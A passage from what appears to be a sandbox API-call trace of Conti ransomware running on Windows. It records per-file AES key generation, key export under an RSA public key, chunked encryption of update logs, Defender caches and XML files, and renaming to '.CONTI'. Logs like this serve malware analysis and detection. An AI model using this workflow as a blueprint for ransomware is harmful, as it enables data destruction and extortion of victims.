	[0129.111] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.025.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.025.etl.conti")) returned 1
	[0129.112] GetProcessHeap () returned 0x1720000
	[0129.112] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.112] CryptDestroyKey (hKey=0x17c82f0) returned 1
	[0129.112] GetProcessHeap () returned 0x1720000
	[0129.113] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c92b0 | out: hHeap=0x1720000) returned 1
	[0129.113] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0129.113] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b46e48 | out: phKey=0x6b46e48*=0x17c8170) returned 1
	[0129.113] CryptExportKey (in: hKey=0x17c8170, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46e4c, pdwDataLen=0x3e3fe8c | out: pbData=0x6b46e4c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0129.113] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.026.etl")) returned 0x2020
	[0129.114] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.026.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0129.114] GetLastError () returned 0x0
	[0129.114] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=8192) returned 1
	[0129.114] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0129.114] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.115] SetEndOfFile (hFile=0x384) returned 1
	[0129.115] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.115] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.115] WriteFile (in: hFile=0x384, lpBuffer=0x6b46e4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b46e4c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0129.116] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.116] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2000, lpOverlapped=0x0) returned 1
	[0129.816] CryptEncrypt (in: hKey=0x17c8170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2000, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2010) returned 1
	[0129.816] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.816] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2010, lpOverlapped=0x0) returned 1
	[0129.816] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.816] WriteFile (in: hFile=0x384, lpBuffer=0x6b46e40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b46e40*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0129.816] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.816] CloseHandle (hObject=0x384) returned 1
	[0129.817] GetProcessHeap () returned 0x1720000
	[0129.817] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.817] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl"
	[0129.817] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.CONTI"
	[0129.817] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.026.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.026.etl.conti")) returned 1
	[0129.818] GetProcessHeap () returned 0x1720000
	[0129.818] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.818] CryptDestroyKey (hKey=0x17c8170) returned 1
	[0129.818] GetProcessHeap () returned 0x1720000
	[0129.818] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02868 | out: hHeap=0x1720000) returned 1
	[0129.818] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0134.013] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b45530 | out: phKey=0x6b45530*=0x17c83f0) returned 1
	[0134.013] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45534, pdwDataLen=0x3e3fe8c | out: pbData=0x6b45534*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0134.014] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml")) returned 0x20
	[0134.014] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.014] GetLastError () returned 0x5
	[0134.014] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0134.014] GetProcessHeap () returned 0x1720000
	[0134.014] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173eca8 | out: hHeap=0x1720000) returned 1
	[0134.014] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0134.709] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b44e58 | out: phKey=0x6b44e58*=0x17c7eb0) returned 1
	[0134.709] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44e5c, pdwDataLen=0x3e3fe8c | out: pbData=0x6b44e5c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0135.548] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.79")) returned 0x820
	[0135.574] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.79"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0135.575] GetLastError () returned 0x0
	[0135.575] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=61948452) returned 1
	[0135.575] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3b14224
	[0135.575] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.575] SetEndOfFile (hFile=0x300) returned 1
	[0135.575] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0135.575] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.575] WriteFile (in: hFile=0x300, lpBuffer=0x6b44e5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b44e5c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0135.575] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0135.575] ReadFile (in: hFile=0x300, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x500000, lpOverlapped=0x0) returned 1
	[0136.831] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x500000, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x500000) returned 1
	[0136.837] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.837] WriteFile (in: hFile=0x300, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x500000, lpOverlapped=0x0) returned 1
	[0139.435] ReadFile (in: hFile=0x300, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x500000, lpOverlapped=0x0) returned 1
	[0140.917] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x500000, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x500000) returned 1
	[0140.923] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.925] WriteFile (in: hFile=0x300, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x500000, lpOverlapped=0x0) returned 1
	[0142.525] ReadFile (in: hFile=0x300, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x500000, lpOverlapped=0x0) returned 1
	[0144.747] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x500000, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x500000) returned 1
	[0144.754] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.754] WriteFile (in: hFile=0x300, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x500000, lpOverlapped=0x0) returned 1
	[0145.470] ReadFile (in: hFile=0x300, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x500000, lpOverlapped=0x0) returned 1
	[0148.187] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x500000, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x500000) returned 1
	[0148.194] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xf00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.194] WriteFile (in: hFile=0x300, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x500000, lpOverlapped=0x0) returned 1
	[0152.552] ReadFile (hFile=0x300, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0) 

Thread:
	id = 154
	os_tid = 0xfa0

	[0093.054] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xa7b0000
	[0093.054] CryptAcquireContextA (in: phProv=0x3f7fc8c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x3f7fc8c*=0x1755fe0) returned 1
	[0093.056] CryptImportKey (in: hProv=0x1755fe0, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x3f7fc88 | out: phKey=0x3f7fc88*=0x173a910) returned 1
	[0093.056] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0093.792] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x17d58c0 | out: phKey=0x17d58c0*=0x175e4b0) returned 1
	[0093.792] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d58c4, pdwDataLen=0x3f7fc54 | out: pbData=0x17d58c4*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0093.798] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80
	[0093.798] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.798] GetLastError () returned 0x0
	[0093.798] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=82374) returned 1
	[0093.798] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x141c6
	[0093.798] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.798] SetEndOfFile (hFile=0x338) returned 1
	[0093.798] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.799] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.799] WriteFile (in: hFile=0x338, lpBuffer=0x17d58c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x17d58c4*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.800] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.800] ReadFile (in: hFile=0x338, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x141c6, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x141c6, lpOverlapped=0x0) returned 1
	[0093.803] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x141c6, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x141d0) returned 1
	[0093.803] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.803] WriteFile (in: hFile=0x338, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x141d0, lpOverlapped=0x0) returned 1
	[0093.803] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.803] WriteFile (in: hFile=0x338, lpBuffer=0x17d58b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x17d58b8*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0093.803] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.803] CloseHandle (hObject=0x338) returned 1
	[0093.805] GetProcessHeap () returned 0x1720000
	[0093.805] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.806] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml"
	[0093.806] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.CONTI"
	[0093.806] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.conti")) returned 1
	[0093.807] GetProcessHeap () returned 0x1720000
	[0093.807] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.807] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0093.807] GetProcessHeap () returned 0x1720000
	[0093.807] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0bf8 | out: hHeap=0x1720000) returned 1
	[0093.807] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0093.875] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x17d3b18 | out: phKey=0x17d3b18*=0x175e4b0) returned 1
	[0093.875] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3b1c, pdwDataLen=0x3f7fc54 | out: pbData=0x17d3b1c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0093.875] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80
	[0093.876] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0093.876] GetLastError () returned 0x0
	[0093.876] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=77680) returned 1
	[0093.876] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12f70
	[0093.876] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.876] SetEndOfFile (hFile=0x320) returned 1
	[0093.877] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.877] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.877] WriteFile (in: hFile=0x320, lpBuffer=0x17d3b1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x17d3b1c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.915] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.915] ReadFile (in: hFile=0x320, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x12f70, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x12f70, lpOverlapped=0x0) returned 1
	[0093.928] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x12f70, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x12f80) returned 1
	[0093.928] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.928] WriteFile (in: hFile=0x320, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x12f80, lpOverlapped=0x0) returned 1
	[0093.929] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.929] WriteFile (in: hFile=0x320, lpBuffer=0x17d3b10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x17d3b10*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0093.929] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.929] CloseHandle (hObject=0x320) returned 1
	[0093.931] GetProcessHeap () returned 0x1720000
	[0093.931] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0093.931] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml"
	[0093.931] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.CONTI"
	[0093.931] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.conti")) returned 1
	[0093.931] GetProcessHeap () returned 0x1720000
	[0093.931] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0093.931] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0093.931] GetProcessHeap () returned 0x1720000
